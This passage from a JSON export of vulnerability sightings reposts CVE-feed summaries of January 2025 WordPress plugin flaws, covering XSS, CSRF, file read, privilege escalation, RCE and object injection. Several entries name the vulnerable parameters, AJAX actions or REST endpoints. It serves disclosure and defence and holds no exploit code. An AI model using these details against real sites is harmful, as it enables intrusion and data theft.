"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12073", "type": "seen", "source": "https://t.me/cvedetector/14480", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12073 - WordPress Meteor Slides Stored Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12073 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The Meteor Slides plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'slide_url_value' parameter in all versions up to, and including, 1.5.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:48.000000Z"}, {"uuid": "aba62103-6cd7-4075-85ec-658460005457", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12439", "type": "seen", "source": "https://t.me/cvedetector/14478", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12439 - WordPress Marketplace Items Stored Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12439 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The Marketplace Items plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'marketplace' shortcode in all versions up to, and including, 1.5.5 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:44.000000Z"}, {"uuid": "48bb2fa5-463c-46b1-b24f-ebce2dc01a23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12495", "type": "seen", "source": "https://t.me/cvedetector/14488", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12495 - \"WordPress Bootstrap Blocks Stored Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12495 \nPublished : Jan. 7, 2025, 7:15 a.m. | 30\u00a0minutes ago \nDescription : The Bootstrap Blocks for WP Editor v2 plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'gtb-bootstrap/column' block in all versions up to, and including, 2.5.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:51:01.000000Z"}, {"uuid": "1abf7d5d-a164-43fb-addc-bd3d645416ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12437", "type": "seen", "source": "https://t.me/cvedetector/14487", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12437 - WordPress Marketplace Items Stored Cross-Site Scripting Attack\", \n  \"Content\": \"CVE ID : CVE-2024-12437 \nPublished : Jan. 7, 2025, 7:15 a.m. | 30\u00a0minutes ago \nDescription : The Marketplace Items plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'envato' shortcode in all versions up to, and including, 1.5.5 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:51:00.000000Z"}, {"uuid": "b5c22f98-9543-4bd1-b07a-b3ce744652ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12384", "type": "seen", "source": "https://t.me/cvedetector/14483", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12384 - \"Binary MLM Woocommerce Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12384 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The Binary MLM Woocommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page\u2019 parameter in all versions up to, and including, 2.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:50.000000Z"}, {"uuid": "54a1ca72-219f-4939-a0cb-18a4a675e17f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12383", "type": "seen", "source": "https://t.me/cvedetector/14482", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12383 - WooCommerce Binary MLM CSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12383 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The Binary MLM Woocommerce plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0. This is due to missing or incorrect nonce validation on the 'bmw_display_pv_set_page' function and insufficient input sanitization and output escaping of the 'product_points' parameter. This makes it possible for unauthenticated attackers to inject arbitrary web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:50.000000Z"}, {"uuid": "3728bc0d-3b05-4a26-b75e-b60710f0ab57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12261", "type": "seen", "source": "https://t.me/cvedetector/14481", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12261 - SmartEmailing.cz WordPress Reflected Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12261 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The SmartEmailing.cz plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'se-lists-updated' parameter in all versions up to, and including, 2.2.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:49.000000Z"}, {"uuid": "004a0a62-40a2-4497-b056-0e624ff8b525", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12438", "type": "seen", "source": "https://t.me/cvedetector/14477", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12438 - WooCommerce FlickRocket Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12438 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The WooCommerce Digital Content Delivery (incl. DRM) \u2013 FlickRocket plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'start_date\u2019 and 'end_date' parameters in all versions up to, and including, 4.74 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:43.000000Z"}, {"uuid": "618d52a2-058f-43de-b5f7-a5138af18205", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12464", "type": "seen", "source": "https://t.me/cvedetector/14476", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12464 - \"Chatroll WordPress Stored Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12464 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The Chatroll Live Chat plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'chatroll' shortcode in all versions up to, and including, 2.5.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:42.000000Z"}, {"uuid": "268c43a7-c137-4036-ae02-e74ea01a2354", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12440", "type": "seen", "source": "https://t.me/cvedetector/14475", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12440 - Candifly for WordPress - Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12440 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The Candifly plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'candifly' shortcode in all versions up to, and including, 1.0.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:42.000000Z"}, {"uuid": "cf227b90-b120-4d24-8800-5aa7428fa5c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12849", "type": "seen", "source": "https://t.me/cvedetector/14472", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12849 - WordPress Error Log Viewer By WP Guru Arbitrary File Read Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12849 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The Error Log Viewer By WP Guru plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.0.1.3 via the wp_ajax_nopriv_elvwp_log_download AJAX action. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:36.000000Z"}, {"uuid": "a2f98b24-c380-4b44-864f-6e26a475b230", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12633", "type": "seen", "source": "https://t.me/cvedetector/14471", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12633 - JoomSport WordPress Reflected Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12633 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The JoomSport \u2013 for Sports: Team & League, Football, Hockey & more plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018page parameter in all versions up to, and including, 5.6.17 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:36.000000Z"}, {"uuid": "1ef6c2bf-1390-44c4-9798-0b3133a148bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12535", "type": "seen", "source": "https://t.me/cvedetector/14470", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12535 - \"WordPress Host PHP Info Plugin Unauthenticated Arbitrary Configuration Disclosure\"\", \n  \"Content\": \"CVE ID : CVE-2024-12535 \nPublished : Jan. 7, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The Host PHP Info plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check when including the 'phpinfo' function in all versions up to, and including, 1.0.4. This makes it possible for unauthenticated attackers to read configuration settings and predefined variables on the site's server. The plugin does not need to be activated for the vulnerability to be exploited. \nSeverity: 8.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T08:00:35.000000Z"}, {"uuid": "18995740-313c-48e3-a1c6-fdda259beeb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12252", "type": "seen", "source": "https://t.me/cvedetector/14464", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12252 - WordPress SEO LAT Auto Post File Overwrite Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-12252 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The SEO LAT Auto Post plugin for WordPress is vulnerable to file overwrite due to a missing capability check on the remote_update AJAX action in all versions up to, and including, 2.2.1. This makes it possible for unauthenticated attackers to overwrite the seo-beginner-auto-post.php file which can be leveraged to achieve remote code execution. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:25.000000Z"}, {"uuid": "be3b6ab9-f0d9-43e0-82c0-2d02786cef7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12047", "type": "seen", "source": "https://t.me/cvedetector/14264", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12047 - WordPress WP Compress Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12047 \nPublished : Jan. 4, 2025, 8:15 a.m. | 26\u00a0minutes ago \nDescription : The WP Compress \u2013 Instant Performance & Speed Optimization plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018custom_server\u2019 parameter in all versions up to, and including, 6.30.03 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-04T09:44:26.000000Z"}, {"uuid": "65297de6-2f8e-4acd-814f-3971dadce4d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12214", "type": "seen", "source": "https://t.me/cvedetector/14463", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12214 - WooCommerce HSS Extension for Streaming Video WordPress Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12214 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The WooCommerce HSS Extension for Streaming Video plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018videolink\u2019 parameter in all versions up to, and including, 3.31 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:24.000000Z"}, {"uuid": "a3385118-0da4-4344-8e4b-06cc0d74ca1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12208", "type": "seen", "source": "https://t.me/cvedetector/14462", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12208 - WordPress Backup Plugin CSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12208 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The Backup and Restore WordPress \u2013 Backup Plugin plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.50. This is due to missing or incorrect nonce validation on the ajax_queue_manual_backup() function. This makes it possible for unauthenticated attackers to trigger backups via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:24.000000Z"}, {"uuid": "cb2d4d24-8b61-41f1-b0c7-c1d303ffea3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12207", "type": "seen", "source": "https://t.me/cvedetector/14461", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12207 - \"WordPress Toggles Shortcode and Widget Stored XSS\"\", \n  \"Content\": \"CVE ID : CVE-2024-12207 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The Toggles Shortcode and Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u2018content\u2019 parameter in all versions up to, and including, 1.14 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:23.000000Z"}, {"uuid": "034119c7-2abe-47d7-93bc-6123c7490bfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12291", "type": "seen", "source": "https://t.me/cvedetector/14460", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12291 - ViewMedica 9 for WordPress CSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12291 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The ViewMedica 9 plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.4.15. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:22.000000Z"}, {"uuid": "7403e0d5-28d5-4df7-a780-2d0c8365a72d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12264", "type": "seen", "source": "https://t.me/cvedetector/14459", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12264 - PayU CommercePro Plugin WordPress Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-12264 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The PayU CommercePro Plugin plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 3.8.3. This is due to /wp-json/payu/v1/generate-user-token and /wp-json/payu/v1/get-shipping-cost  REST API endpoints not properly verifying a user's identity prior to setting the users ID and auth cookies. This makes it possible for unauthenticated attackers to create new administrative user accounts. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:18.000000Z"}, {"uuid": "fa6121f4-d220-4d45-848e-7cd0c774834b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12313", "type": "seen", "source": "https://t.me/cvedetector/14458", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12313 - \"WooCommerce Compare Products PHP Object Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12313 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The Compare Products for WooCommerce plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.2.1 via deserialization of untrusted input from the 'woo_compare_list' cookie. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:18.000000Z"}, {"uuid": "bee879f9-490e-4cea-a964-39c8c874070a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12290", "type": "seen", "source": "https://t.me/cvedetector/14457", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12290 - Infility Global WordPress Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12290 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The Infility Global plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018set_type\u2019 parameter in all versions up to, and including, 2.9.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:17.000000Z"}, {"uuid": "9e87753e-dfc5-45d2-a5f6-1b3568616277", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12288", "type": "seen", "source": "https://t.me/cvedetector/14456", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12288 - WordPress Simple Add Pages/Posts CSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12288 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The Simple add pages or posts plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.0. This is due to missing or incorrect nonce validation. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:16.000000Z"}, {"uuid": "1d641c54-1a37-47a0-80ed-5fcab0be0fbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12435", "type": "seen", "source": "https://t.me/cvedetector/14455", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12435 - WooCommerce Compare Products Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12435 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The Compare Products for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018s_feature\u2019 parameter in all versions up to, and including, 3.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T07:10:15.000000Z"}, {"uuid": "a3d0d093-638f-4a1f-84d2-c14b506fd59a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12445", "type": "seen", "source": "https://t.me/cvedetector/14447", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12445 - WordPress RightMessage Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12445 \nPublished : Jan. 7, 2025, 5:15 a.m. | 40\u00a0minutes ago \nDescription : The RightMessage WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'rm_area' shortcode in all versions up to, and including, 0.9.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": 